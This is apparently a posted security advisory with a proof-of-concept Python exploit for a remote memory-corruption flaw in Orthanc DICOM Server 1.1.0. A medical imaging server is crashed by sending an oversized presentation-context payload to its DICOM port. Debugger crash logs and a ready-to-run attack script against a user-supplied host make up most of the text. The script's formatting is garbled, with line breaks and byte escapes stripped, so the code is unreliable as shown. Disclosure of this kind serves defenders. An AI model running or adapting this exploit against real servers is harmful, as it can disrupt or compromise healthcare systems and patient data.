Orthanc DICOM Server 1.1.0 Remote Memory Corruption
Posted on 16 December 2016
#!/usr/bin/env python # -*- coding: utf8 -*- # # Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability # # # Vendor: SA(c)bastien Jodogne # Product web page: http://www.orthanc-server.com # Affected version: 1.1.0 # # Summary: Orthanc is a Belgian, open-source, lightweight RESTful DICOM server # for healthcare and medical research with an ubiquitous web interface that # enables you to upload, receive and transfer DICOM images. It comes with # a REST API to automate imaging flows and an SDK to integrate with native # applications. # # Desc: The vulnerability is caused due to the usage of vulnerable collection # of libraries that are part of DCMTK Toolkit, specifically the parser for the # DICOM Upper Layer Protocol or DUL. Stack/Heap Buffer overflow/underflow can be # triggered when sending and processing wrong length of ACSE data structure received # over the network by the DICOM Store-SCP service. An attacker can overflow the stack # and the heap of the process when sending large array of bytes to the presentation # context item length segment of the DICOM standard, potentially resulting in remote # code execution and/or denial of service scenario. # # ------------------------------------------------------------------------------- # # ==5299== Memcheck, a memory error detector # ==5299== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. # ==5299== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info # ==5299== Command: ./Orthanc # ==5299== # W1201 17:35:34.724792 main.cpp:1235] Orthanc version: mainline (20161129T150442) # W1201 17:35:34.804810 main.cpp:1092] Performance warning: Non-release build, runtime debug assertions are turned on # W1201 17:35:35.042122 OrthancInitialization.cpp:125] Reading the configuration from: "/home/lqwrm/Subversion/orthanc/Resources/Configuration.json" # W1201 17:35:35.272799 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/dicom.dic" # W1201 17:35:35.905845 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/private.dic" # W1201 17:35:36.407249 OrthancInitialization.cpp:488] Registering JPEG Lossless codecs # W1201 17:35:36.417571 OrthancInitialization.cpp:493] Registering JPEG codecs # W1201 17:35:36.846619 OrthancInitialization.cpp:986] SQLite index directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage" # W1201 17:35:36.999809 OrthancInitialization.cpp:1056] Storage directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage" # W1201 17:35:38.247567 LuaContext.cpp:103] Lua says: Lua toolbox installed # W1201 17:35:38.319095 ServerScheduler.cpp:134] The server scheduler has started # W1201 17:35:38.332937 HttpClient.cpp:680] No certificates are provided to validate peers, set "HttpsCACertificates" if you need to do HTTPS requests # W1201 17:35:38.345479 ServerContext.cpp:181] Disk compression is disabled # W1201 17:35:38.358374 ServerIndex.cpp:1392] No limit on the number of stored patients # W1201 17:35:38.361704 ServerIndex.cpp:1409] No limit on the size of the storage area # W1201 17:35:38.688634 main.cpp:822] DICOM server listening with AET ORTHANC on port: 4242 # W1201 17:35:38.715241 MongooseServer.cpp:887] This version of OpenSSL is vulnerable to the Heartbleed exploit # W1201 17:35:38.721902 MongooseServer.cpp:1027] HTTP compression is enabled # W1201 17:35:38.887721 main.cpp:757] HTTP server listening on port: 8042 # W1201 17:35:38.890026 main.cpp:644] Orthanc has started # ==5299== Thread 11: # ==5299== Invalid read of size 1 # ==5299== at 0x5ECEBD: parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) (dulparse.cc:389) # ==5299== by 0x5EC6A0: parseAssociate(unsigned char*, unsigned long, dul_associatepdu*) (dulparse.cc:234) # ==5299== by 0x5E0131: AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) (dulfsm.cc:1158) # ==5299== by 0x5DF125: PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) (dulfsm.cc:750) # ==5299== by 0x56DF26: DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) (dul.cc:669) # ==5299== by 0x56B440: ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned long*, bool, DUL_BLOCKOPTIONS, int) (assoc.cc:1752) # ==5299== by 0x4494B5: Orthanc::Internals::AcceptAssociation(Orthanc::DicomServer const&, T_ASC_Network*) (CommandDispatcher.cpp:439) # ==5299== by 0x42D010: Orthanc::DicomServer::ServerThread(Orthanc::DicomServer*) (DicomServer.cpp:69) # ==5299== by 0x43198B: void boost::_bi::list1<boost::_bi::value<Orthanc::DicomServer*> >::operator()<void (*)(Orthanc::DicomServer*), boost::_bi::list0>(boost::_bi::type<void>, void (*&) # # ------------------------------------------------------------------------------- # # (47fc.40cc): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # *** WARNING: Unable to verify checksum for C:UserslqwrmDownloadsorthancAndPluginsWin32.stableOrthanc.exe # *** ERROR: Module load completed but symbols could not be loaded for C:UserslqwrmDownloadsorthancAndPluginsWin32.stableOrthanc.exe # eax=000000ce ebx=ffffc99c ecx=0074ae50 edx=013e3060 esi=018cf094 edi=010090ab # eip=0136c910 esp=0389eca8 ebp=0389ece8 iopl=0 nv up ei ng nz na pe nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286 # Orthanc+0xfc910: # 0136c910 8a07 mov al,byte ptr [edi] ds:002b:010090ab=?? # # ------------------------------------------------------------------------------- # # Tested on: Microsoft Windows 7 Professional SP1 (EN) # Microsoft Windows 7 Ultimate SP1 (EN) # Ubuntu Linux/14.04.5 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2016-5380 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5380.php # # Vendor: https://bitbucket.org/sjodogne/orthanc/commits/6ac6193a7935865db07d3d81c627c84de7557ce0?at=default # https://bitbucket.org/sjodogne/orthanc/src/Orthanc-1.2.0/NEWS?fileviewer=file-view-default # # OFFIS e.V.: https://github.com/commontk/DCMTK/commit/1b6bb76 # # # 22.11.2016 # import socket, sys hello = ('x01x00x00x00x80x71x00x01x00x00x4fx52x54x48' 'x41x4ex43x20x20x20x20x20x20x20x20x20x4ax4f' 'x58x59x50x4fx58x59x21x00x00x00x00x00x00x00' 'x00x00x00x00x00x00x00x00x00x00x00x00x00x00' 'x00x00x00x00x00x00x00x00x00x00x00x00x00x00' 'x00x00x00x00x10x00x00x15x31x2ex32x2ex38x34' 'x30x2ex31x30x30x30x38x2ex33x2ex31x2ex31x2e' 'x31x20x00x80x00') bye = ('x50x00x00x0cx51x00x00x04x00x00x07xde' 'x52x00x00x00') buffer = 'x41x42x43x44' * 10000 if len(sys.argv) < 3: print ' Usage: ' +sys.argv[0]+ ' <target> <port>' print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242 ' sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) s.settimeout(251) s.send(hello+buffer+bye) s.close
